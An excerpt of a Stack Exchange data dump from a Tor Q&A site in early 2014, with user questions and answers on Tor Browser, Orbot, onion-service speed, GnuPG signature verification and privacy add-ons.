  <row Id="1556" PostTypeId="1" CreationDate="2014-02-18T08:12:45.477" Score="1" ViewCount="66" Body="&lt;p&gt;I use Tor browser on an OSX machine with a VPN.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need java to work in order to access my webmail and my online banking service. I've tried adding my webmail address to whitelist and I've tried to allow scripts globally. To no avail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you tell me what I´m doing wrong?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;-yes I am a newcomer to internet anonymity and so on. I have searched all over for an answer to this question but could find none.&lt;/p&gt;&#xA;" OwnerUserId="1195" LastEditorUserId="923" LastEditDate="2014-08-06T19:40:43.907" LastActivityDate="2014-08-06T19:40:43.907" Title="Java webmail with Tor" Tags="|mac|vpn|java|" AnswerCount="0" CommentCount="2" ClosedDate="2015-08-25T06:11:48.673" ContentLicense="CC BY-SA 3.0" />
  <row Id="1557" PostTypeId="2" ParentId="1551" CreationDate="2014-02-18T16:18:19.030" Score="1" Body="&lt;p&gt;About Internet security and anonimacy: You're almost safe, unless NSA cracks into your computer to spy your Bookmarks and session files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About Computer being secure: You're not safe, since you are leaving tracks on your hard disk about which sites do you visit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if your computer has any risk of being seized by NSA, FBI, Communist Party of China, Guardians of the Revolution, or your mother, do not use Bookmarks nor pinned tabs. On the other hand, if you feel you are locally safe, do whatever you wish.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-02-18T16:18:19.030" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1558" PostTypeId="2" ParentId="1188" CreationDate="2014-02-18T16:26:00.243" Score="2" Body="&lt;p&gt;Orbot has been updated on Google Play Store and here:&#xA;&lt;a href=&quot;https://guardianproject.info/releases/Orweb-release-0.5.2.apk&quot; rel=&quot;nofollow&quot;&gt;https://guardianproject.info/releases/Orweb-release-0.5.2.apk&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;with a fix for KitKat!&lt;/p&gt;&#xA;" OwnerUserId="1196" LastActivityDate="2014-02-18T16:26:00.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1559" PostTypeId="2" ParentId="1145" CreationDate="2014-02-18T17:43:25.147" Score="3" Body="&lt;p&gt;If you want to experience with HTML5 video proxied through Tor, you can try the development builds of our new Firefox-based secure browser, named &lt;a href=&quot;https://guardianproject.info/builds/Orfox/latest/&quot; rel=&quot;nofollow&quot;&gt;Orfox&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;This is development/debug grade technology and has not been fully tested!&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="1196" LastEditorUserId="88" LastEditDate="2014-02-20T09:06:44.263" LastActivityDate="2014-02-20T09:06:44.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1560" PostTypeId="1" CreationDate="2014-02-18T18:20:23.360" Score="3" ViewCount="5423" Body="&lt;p&gt;Is it just me or are most .onion domains really slow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If its not just me then why is it slow?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alot of domains seem to not work and a few work and are really slow...&lt;/p&gt;&#xA;" OwnerUserId="1191" LastEditorUserId="71" LastEditDate="2014-02-18T19:14:12.387" LastActivityDate="2014-02-19T13:42:53.783" Title="All .onion domains seem slow" Tags="|tor-browser-bundle|onion-services|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1561" PostTypeId="2" ParentId="1560" CreationDate="2014-02-18T19:21:33.323" Score="3" Body="&lt;p&gt;.onion addresses are served using Tor Hidden Services and are known to be high-latency. There have been efforts to &lt;a href=&quot;http://tor.hermetix.org/projects/hidserv.html&quot; rel=&quot;nofollow&quot;&gt;Speed Up Tor Hidden Services&lt;/a&gt; but they're still generally slower than &quot;external&quot; websites.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-02-18T19:21:33.323" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1562" PostTypeId="1" AcceptedAnswerId="2150" CreationDate="2014-02-18T19:23:12.023" Score="0" ViewCount="166" Body="&lt;p&gt;Is it reasonable to assume communication on a public computer can not be made anonymized even with utilization of Tails?&lt;/p&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-05-22T08:11:46.110" Title="To use public computer, is it reasonable to assume one is in the clear net even if one use Tails?" Tags="|anonymity|tails|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1563" PostTypeId="1" CreationDate="2014-02-18T20:53:16.380" Score="3" ViewCount="612" Body="&lt;p&gt;It seem to be somehow different, is it still FF-based? Or is there any possibility to use tails and then use Tor bundle same way as you use it in Windows?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And of course, is Tails's browser's security in same level as Tor Bundle?&lt;/p&gt;&#xA;" OwnerUserId="1197" LastEditorUserId="923" LastEditDate="2014-02-25T15:27:10.830" LastActivityDate="2014-02-25T15:27:10.830" Title="Is Tails browser same as separate Tor bundle-browser?" Tags="|tor-browser-bundle|tails|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1564" PostTypeId="1" CreationDate="2014-02-18T22:11:00.560" Score="3" ViewCount="314" Body="&lt;p&gt;I've upgraded to the new tor bundle several weeks ago and I love it so far.  However, since the upgrade, I am no longer able to access my email (AOL webmail). The error I get when I sign in is &quot;Error 1 - COFE error 1714&quot;.  They suggest I clear cookies, cache and restart in &quot;safe&quot; mode.  Below is their suggestion: &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Browser security settings sometimes disrupt sign-in. In Internet Explorer, try selecting “Enable Protected Mode” in both the Internet zone and Trusted sites zone. On Firefox, try using Safe Mode.&#xA;  You also might try deleting your browser history. Find this in the “Tools” menu — and make sure to clear (delete) cookies!&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Of course I'm OS X 10.7.5 so their solution really doesn't help. Unfortunately, I'm not the most savvy with some of this stuff, but I have some questions:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is there a work around?&lt;/li&gt;&#xA;&lt;li&gt;Is there a tor-friendly webmail?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1198" LastEditorUserId="88" LastEditDate="2014-02-20T09:00:43.063" LastActivityDate="2014-02-28T21:21:15.393" Title="AOL Mail no longer works: Error 1 - COFE error 1714?" Tags="|tor-browser-bundle|email|" AnswerCount="0" CommentCount="1" ClosedDate="2015-08-25T06:10:29.233" ContentLicense="CC BY-SA 3.0" />
  <row Id="1565" PostTypeId="2" ParentId="1563" CreationDate="2014-02-18T22:26:01.587" Score="0" Body="&lt;p&gt;Tails is based on Debian which uses Iceweasel which is just a rebrand of Firefox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Source:&#xA;&lt;a href=&quot;https://tails.boum.org/doc/anonymous_internet/Tor_Browser/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/anonymous_internet/Tor_Browser/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2014-02-18T22:26:01.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1566" PostTypeId="2" ParentId="1563" CreationDate="2014-02-18T22:27:21.537" Score="1" Body="&lt;p&gt;No; it uses a modded version of Firefox, not straight TBB.&#xA;&lt;a href=&quot;https://tails.boum.org/forum/Tor_Browser_Bundle/&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/forum/Tor_Browser_Bundle/&lt;/a&gt;&#xA;&lt;a href=&quot;https://tails.boum.org/doc/about/features/index.en.html&quot; rel=&quot;nofollow&quot;&gt;https://tails.boum.org/doc/about/features/index.en.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1175" LastActivityDate="2014-02-18T22:27:21.537" CommentCount="0" CommunityOwnedDate="2014-02-18T22:27:21.537" ContentLicense="CC BY-SA 3.0" />
  <row Id="1567" PostTypeId="2" ParentId="1442" CreationDate="2014-02-18T22:30:13.117" Score="1" Body="&lt;p&gt;If a hidden service isn't working for you then it's probably down. To confirm that nothing is wrong with Tor itself visit the main Tor Project website as Hidden service:&#xA;&lt;a href=&quot;http://idnxcnkne4qt76tg.onion/&quot; rel=&quot;nofollow&quot;&gt;http://idnxcnkne4qt76tg.onion/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="108" LastActivityDate="2014-02-18T22:30:13.117" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1568" PostTypeId="2" ParentId="1560" CreationDate="2014-02-19T00:24:07.823" Score="1" Body="&lt;p&gt;The NLnet Project: Speed Up Tor Hidden Services is a old project (2008 - 2009). You canot prevent loops but you can inprove the web server return. Did you try to serve hidden services using apache httpd, Nginx, Lighty or node.js?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did you see and aply articles like &#xA;&lt;a href=&quot;https://servercheck.in/blog/3-small-tweaks-make-apache-fly&quot; rel=&quot;nofollow&quot;&gt;https://servercheck.in/blog/3-small-tweaks-make-apache-fly&lt;/a&gt; &lt;/p&gt;&#xA;" OwnerUserId="1199" LastEditorUserId="71" LastEditDate="2014-02-19T13:42:53.783" LastActivityDate="2014-02-19T13:42:53.783" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1569" PostTypeId="2" ParentId="1084" CreationDate="2014-02-19T04:00:47.020" Score="-1" Body="&lt;p&gt;Acually there is, but you need to jailbreak your iOS device then search for for on cydia, and install.&lt;/p&gt;&#xA;" OwnerUserId="1202" LastActivityDate="2014-02-19T04:00:47.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1570" PostTypeId="1" CreationDate="2014-02-20T02:59:31.963" Score="1" ViewCount="7791" Body="&lt;p&gt;I recently discovered the Orbot app that allows mobile users to connect to tor. After the installation of this and Orweb, the accompanying browser, it connected successfully to tor and all the logs seem to show everything is running perfectly. However, when I run the anonymity check, the Orweb browser opens to a page which tells me I am in fact not connected to the network and gives me my real IP address. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically on the one hand I have the app telling me its all good, on the other I have the browser revealing it is in fact non-functional. The proxy is set to HTTP: localhost:8118. Also tried HTTP: 127.0.0.1:8118.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My device is an unrooted 2013 Nexus 7 tablet. I will not root to solve the problem, as the app says it works with unrooted devices as long as you use the Orweb browser, which I am. What could be wrong?&lt;/p&gt;&#xA;" OwnerUserId="1205" LastEditorUserId="12737" LastEditDate="2016-07-20T08:44:30.283" LastActivityDate="2016-07-20T08:44:30.283" Title="Tor on mobile connects but doesn't work" Tags="|configuration|orbot|mobile|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1571" PostTypeId="1" CreationDate="2014-02-20T03:22:32.010" Score="2" ViewCount="241" Body="&lt;p&gt;Can the NSA or similar agencies see where my device is when using Tor?  If so, to avoid this, do I need to encrypt my wi-fi as well?&lt;/p&gt;&#xA;" OwnerUserId="1206" LastEditorUserId="83" LastEditDate="2014-02-20T08:58:34.270" LastActivityDate="2014-03-25T19:10:46.470" Title="Can the NSA or similar agencies see where my device is when using Tor?" Tags="|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1572" PostTypeId="2" ParentId="1571" CreationDate="2014-02-20T06:31:22.313" Score="0" Body="&lt;p&gt;Having unencrypted wifi in general is not a good idea.&#xA;The FBI has taken people down by monitoring their unencrypted wifi and simply sniff out what ip's you are connecting to from the network, they can then simply check it against the tor network's public ip database, then they know if you are on tor.&#xA;Also ISP can see that you are connecting to Tor, but not what you are doing over that connection. so you can easily be detected as a Tor user.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also you do not specify what device you are connecting from, if it's a cellphone then they know regardless because your cellphone connects to the cell-towers even if you are on wifi using tor, and then it's a matter of triangulation&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2014-02-20T06:31:22.313" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1573" PostTypeId="1" CreationDate="2014-02-20T11:18:20.173" Score="4" ViewCount="1159" Body="&lt;p&gt;Got the latest Tor Browser Bundle (3.5.2.1) and tried to verify.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gpg --verify /Users/user/Downloads/TorBrowserBundle-3.5.2.1-osx32_en-US.zip.asc /Users/user/Downloads/TorBrowserBundle-3.5.2.1-osx32_en-US.zip&#xA;gpg: Signature made za 15 feb 12:46:23 2014 CET using RSA key ID 63FEE659&#xA;gpg: Good signature from &quot;Erinn Clark &amp;lt;erinn@torproject.org&amp;gt;&quot;&#xA;gpg:                 aka &quot;Erinn Clark &amp;lt;erinn@debian.org&amp;gt;&quot;&#xA;gpg:                 aka &quot;Erinn Clark &amp;lt;erinn@double-helix.org&amp;gt;&quot;&#xA;gpg: WARNING: This key is not certified with a trusted signature!&#xA;gpg:          There is no indication that the signature belongs to the owner.&#xA;Primary key fingerprint: 8738 A680 B84B 3031 A630  F2DB 416F 0610 63FE E659&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Why the WARNING, why is that key not certified and why a space between A603 and F2DB. Also, Erinn Clark has a newer key of sept. 2013 in stead of oct. 2003. Why doesn't GPGTools use the latest key?&#xA;Thanks,&#xA;SK.&lt;/p&gt;&#xA;" OwnerUserId="1210" LastEditorUserId="88" LastEditDate="2014-02-20T16:25:41.280" LastActivityDate="2014-03-15T11:19:00.713" Title="Why does GnuPG show the signature of Erinn Clark as not trusted?" Tags="|tor-browser-bundle|verification|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1574" PostTypeId="2" ParentId="1573" CreationDate="2014-02-20T15:43:48.990" Score="4" Body="&lt;p&gt;This message comes from GnuPG. It tells you that you have not related some kind of trusted relationship to the key of Erinn Clark. When you meet her one day and you do a keysigning (compare your keys and your identities), you can sign her key. Now your GnuPG treats the key as known and trusted and the warning disappears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore maybe you took part in keysignings before and have signed other keys. This can build a transitive relationship. You can see my case in the picture below.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My main key at the bottom of the page has/is signed by another key of mine. This key has/is signed by several other people. Many of them I know and trust. Those people also signed Erinn's key. So this gives me also trust that the key really belongs to Erinn.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miPkM.png&quot; alt=&quot;key relationship between Erinn&amp;#39;s key and Jens&amp;#39; key&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Erinn Clark has used her old key to sign the release of Tor Browser Bundle. Maybe in the future she might decide to use her newer one. But this decision is up to her. You only can use GPGtools to verify the signature, not advise it to take any special key.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-20T15:43:48.990" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1575" PostTypeId="2" ParentId="1573" CreationDate="2014-02-20T16:06:39.000" Score="2" Body="&lt;p&gt;The digital signature of the archive is verified, and that it matches the excepted Erinn Clark's public key she used to sign this document. For the question of the trust, you may refer to: &lt;a href=&quot;http://gnupg.org/gph/en/manual/x334.html&quot; rel=&quot;nofollow&quot;&gt;http://gnupg.org/gph/en/manual/x334.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the two space in the fingerprint, this is just a conventional format.&lt;/p&gt;&#xA;" OwnerUserId="1212" LastActivityDate="2014-02-20T16:06:39.000" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1577" PostTypeId="1" AcceptedAnswerId="1579" CreationDate="2014-02-20T17:29:40.447" Score="0" ViewCount="1106" Body="&lt;p&gt;Would security improve using Firefox extensions with the Tor Bundle (as Ghostery, HTTP Everywhere, Disconnect, DoNotTrackMe, Adblock Plus, Privdog... etc)?&lt;/p&gt;&#xA;" OwnerUserId="1214" LastEditorUserId="1214" LastEditDate="2014-03-07T20:09:06.680" LastActivityDate="2014-03-07T20:09:06.680" Title="Is it recommended to use additional addons to improve privacy?" Tags="|tor-browser-bundle|security|firefox|plugin|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1578" PostTypeId="2" ParentId="1227" CreationDate="2014-02-20T23:10:13.567" Score="4" Body="&lt;p&gt;Circuit on-demand are purposely to replace the previous circuit if the relays selected initially are bad, unstable, lower bandwidth/throughput, congestion, attackers relays etc. &#xA;In addition, if the Tor client uses the same exit node and configured to use the same circuit, then the streams from many websites will passes through the same circuit. Else, in any case of poor circuit performance, the on-demand circuit will come to effect anytime during the transmission or even before circuit Time-to-live 10 mins. Basically, Tor is trying to give as best circuit performance to its clients.  &lt;/p&gt;&#xA;" OwnerUserId="1215" LastActivityDate="2014-02-20T23:10:13.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1579" PostTypeId="2" ParentId="1577" CreationDate="2014-02-21T05:45:20.303" Score="3" Body="&lt;p&gt;The goal of the Tor project is &lt;em&gt;anonymity&lt;/em&gt;. Your physical location and your operating system are obscured. Unless you provide personal data you will be anonymous. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Strictly speaking, &lt;em&gt;privacy&lt;/em&gt; is maintained by Tor's SSL support. Having an encrypted link between your browser and the server you are communicating with is what maintains your &lt;em&gt;privacy&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That said, plugins might increase your &lt;em&gt;privacy&lt;/em&gt; by limiting interaction with adservers or tracking devices, but they diminish your &lt;em&gt;anonymity&lt;/em&gt; by changing how your browser behaves. (See this stackexchange's &lt;a href=&quot;/questions/tagged/fingerprint&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;fingerprint&amp;#39;&quot; rel=&quot;tag&quot;&gt;fingerprint&lt;/a&gt; tag for related questions or check out the &lt;a href=&quot;https://panopticlick.eff.org/&quot; rel=&quot;nofollow&quot;&gt;EFF's panopticlick project&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Given the Tor's goal of providing anonymity, the standard answer to your question is to recommend that you not install additional plugins.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="88" LastEditDate="2014-02-21T21:29:00.537" LastActivityDate="2014-02-21T21:29:00.537" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1581" PostTypeId="2" ParentId="1571" CreationDate="2014-02-21T14:14:31.557" Score="1" Body="&lt;p&gt;You need to differentiate two attack vectors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One is NSA or whoever looking at the traffic originated by you that spits out from some Tor exit node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another one is NSA or whoever looking at traffic you interchange with your WiFi access point and with your ISP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first case you are practically safe, unless you make something that ties that exit node to you (like using your Facebook account).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second case they will know you are using Tor, but will be almost unable (almost is important here) to grasp wchich sites you are browsing through Tor.&lt;/p&gt;&#xA;" OwnerUserId="555" LastActivityDate="2014-02-21T14:14:31.557" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1583" PostTypeId="1" CreationDate="2014-02-21T18:49:03.620" Score="3" ViewCount="126" Body="&lt;p&gt;Is the recommended way to update the TBB &lt;a href=&quot;https://tor.stackexchange.com/questions/54/how-can-i-switch-from-one-tor-browser-bundle-version-to-another&quot;&gt;still by replacing the old version&lt;/a&gt; (and handling bookmarks and Data/Tor separately)? I hate losing preferences such as fonts, NoScript configuration etc. To handle this, I've moved the &lt;code&gt;Data&lt;/code&gt; directory out of the top-level TBB directory and symlinked to it. On update, I download the new tar file, unpack it, delete the new &lt;code&gt;Data&lt;/code&gt; directory, and symlink back to the saved &lt;code&gt;Data&lt;/code&gt; directory. I'm fairly new to TBB, but this has worked so far. Are there security implications to doing it this way? Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="1223" LastEditorUserId="88" LastEditDate="2014-02-21T21:04:53.363" LastActivityDate="2014-09-21T09:28:47.623" Title="What security implications does symlinking the Data/ directory in Tor Browser have?" Tags="|tor-browser-bundle|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1584" PostTypeId="1" CreationDate="2014-02-21T21:20:40.257" Score="3" ViewCount="586" Body="&lt;p&gt;In firefox sessions without a tor proxy, it seems worthwhile to use an&#xA;extension that helps to validate SSL certificates (e.g. Perspectives or&#xA;Certificate Patrol). Is there any way to handle this problem with the&#xA;Tor Browser Bundle?&lt;/p&gt;&#xA;" OwnerUserId="1223" LastEditorUserId="923" LastEditDate="2014-02-28T19:42:55.703" LastActivityDate="2014-02-28T19:42:55.703" Title="How to validate certificates?" Tags="|tor-browser-bundle|certificate|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1585" PostTypeId="2" ParentId="1583" CreationDate="2014-02-21T21:23:10.110" Score="1" Body="&lt;p&gt;On the plus side you retain the information about your Guard nodes. So this will probably increase the security. On the other side you won't get any updated configuration. So for instance the default &lt;code&gt;torrc&lt;/code&gt; might change, settings or plugins of the Tor Browser Bundle can change. By using symlinks you will not learn about this changes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a reasonable compromise might be to export your settings from time to time and to completely renew the installation (plus importing the old settings). This way keep the advantage of the guard nodes and your &lt;code&gt;Data&lt;/code&gt; directory.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-21T21:23:10.110" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1586" PostTypeId="2" ParentId="1584" CreationDate="2014-02-22T09:17:26.983" Score="2" Body="&lt;p&gt;You can check manually, not as easy as a plugin/extension but...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Steve Gibson makes some handy tools for security, like this section-&#xA;&lt;a href=&quot;https://www.grc.com/fingerprints.htm&quot; rel=&quot;nofollow&quot;&gt;https://www.grc.com/fingerprints.htm&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Simply comparing a fingerprint from his server and your browser as being identical OR not, as he explains how, will validate if the CA is being spoofed and/or intercepted pretty quick.&lt;/p&gt;&#xA;" OwnerUserId="1227" LastActivityDate="2014-02-22T09:17:26.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1587" PostTypeId="1" CreationDate="2014-02-22T13:21:22.833" Score="2" ViewCount="506" Body="&lt;p&gt;I am getting a bit worried that I may not have configured TOR correctly because my Atlas page is blank, the search window does not return anything. How is this feature suppose to work. I read around and it is suppose to contain a information on the exit nobes. Can anyone help?&lt;/p&gt;&#xA;" OwnerUserId="1228" LastActivityDate="2014-04-24T14:17:13.173" Title="my Atlas page is blank" Tags="|atlas|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1588" PostTypeId="1" CreationDate="2014-02-22T21:07:07.407" Score="1" ViewCount="1678" Body="&lt;p&gt;I was just wandering, because I have searched for a while now and haven't had any luck yet. Runescape uses Java and when I go to the site to play the game, it says I must download Java. I already have Java, so if anyone has any information it is much appreciated!&lt;/p&gt;&#xA;" OwnerUserId="1230" LastEditorUserId="923" LastEditDate="2014-02-28T19:43:01.730" LastActivityDate="2014-02-28T19:43:01.730" Title="Is there anyway to play Runescape in the Tor Browser?" Tags="|tor-browser-bundle|java|help|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1589" PostTypeId="2" ParentId="1587" CreationDate="2014-02-22T21:28:49.740" Score="1" Body="&lt;p&gt;One way to look at Atlas page is: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Click &lt;a href=&quot;https://check.torproject.org/?lang=en_US&quot; rel=&quot;nofollow&quot;&gt;Test Tor Network Settings&lt;/a&gt; from &lt;strong&gt;&lt;em&gt;about:tor&lt;/em&gt;&lt;/strong&gt; page.&lt;/li&gt;&#xA;&lt;li&gt;Click &lt;a href=&quot;https://atlas.torproject.org/#details/C5F6834D7C8DB8535E63751A1044D6D74BCF2A2D&quot; rel=&quot;nofollow&quot;&gt;Atlas&lt;/a&gt; at the middle of &lt;strong&gt;&lt;em&gt;check.torproject.org&lt;/em&gt;&lt;/strong&gt; page and make sure you allow script before initiation of step 2.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="923" LastActivityDate="2014-02-22T21:28:49.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1591" PostTypeId="2" ParentId="1588" CreationDate="2014-02-22T23:57:44.550" Score="1" Body="&lt;p&gt;As you notice the issue is that Java is running the game, and therefor Java is opening the ports. At this point it's now more of a challenge of getting Java to run over Tor. Usually I would make something like this to replace the default java binary:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;torify java.exe $0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which would then run Java over Tor in replacement of the default Java. However, this runs as an Applet/JNI (browser plugin) and is therefor probably linking directly to a shared library, which makes it more complicated to hook into.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get Runescape as a standalone EXE or Jar, you can do the &lt;code&gt;torify&lt;/code&gt; trick I showed earlier. The &lt;code&gt;$0&lt;/code&gt; won't work on Windows though so you can probably just remove that (adds all arguments)&lt;/p&gt;&#xA;" OwnerUserId="590" LastActivityDate="2014-02-22T23:57:44.550" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1592" PostTypeId="1" CreationDate="2014-02-23T00:04:08.410" Score="4" ViewCount="372" Body="&lt;p&gt;I am working on a decentralized card game and using Tor to easily avoid firewalls etc. In the application each user runs a hidden service via Tor and accepts incoming TCP connections. Now I want to make outbound connections from Tor.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;Is it possible to use the same SOCKS5 proxy I am using to listen for connections to also make outbound connections? If so this would avoid firing up another Tor client to make outbound connections.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Otherwise, is it possible to use the same Tor address/key for the other Tor client? This would be the same key that is being used for the Tor hidden service. This would help with my application not having to authenticate multiple Tor addresses for one user.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Cheers,&lt;br&gt;&#xA;Kris&lt;/p&gt;&#xA;" OwnerUserId="590" LastActivityDate="2014-04-27T17:00:00.643" Title="Can a Tor hidden service make outbound connections?" Tags="|onion-services|socks|private-key|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1593" PostTypeId="2" ParentId="1587" CreationDate="2014-02-23T14:08:17.793" Score="0" Body="&lt;p&gt;If you can't find any information about your relay at Atlas, the best guess is that your relay is not configured correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So check your log file first. It should not contain any error messages or warnings. In the case of a relay you should find a confirmation that your relay is reachable from the outside.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the above log file seems correct to you, you can use &lt;a href=&quot;https://exonerator.torproject.org/&quot; rel=&quot;nofollow&quot;&gt;Exonerator&lt;/a&gt; to find out if your server was registered as relay. Furthermore you can download another copy of Tor or Tor Browser Bundle and look for your IP address in the consensus information.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-23T14:08:17.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1594" PostTypeId="1" CreationDate="2014-02-19T09:46:35.197" Score="2" ViewCount="1125" Body="&lt;p&gt;I can't use Tor. I'm using an ISP via WiFi in my local town and cannot access some of my favorite .onion addresses. My usual method is that I have profiles in Firefox which allow me to choose to use Firefox incognito before it even begins. I hit &lt;kbd&gt;alt&lt;/kbd&gt;+&lt;kbd&gt;F2&lt;/kbd&gt; and type &lt;code&gt;torify firefox&lt;/code&gt;. Then I choose the incognito profile I've setup and then head on over to a .onion address. With this new WiFi network, it appears that nothing is getting through to the Tor network.&lt;/p&gt;&#xA;" OwnerUserId="1388" OwnerDisplayName="KI4JGT" LastEditorUserId="923" LastEditDate="2014-02-28T20:56:23.337" LastActivityDate="2014-06-11T22:34:27.187" Title="Tor hidden service isn't working" Tags="|onion-services|firefox|" AnswerCount="1" CommentCount="3" ClosedDate="2017-04-21T20:38:23.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="1595" PostTypeId="2" ParentId="1571" CreationDate="2014-02-23T18:37:09.770" Score="2" Body="&lt;p&gt;NSA has different methods to discover location of server. You can read this: &lt;a href=&quot;https://www.eff.org/files/2014/01/06/20131230-appelbaum-nsa_ant_catalog.pdf&quot; rel=&quot;nofollow&quot;&gt;https://www.eff.org/files/2014/01/06/20131230-appelbaum-nsa_ant_catalog.pdf&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1237" LastActivityDate="2014-02-23T18:37:09.770" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
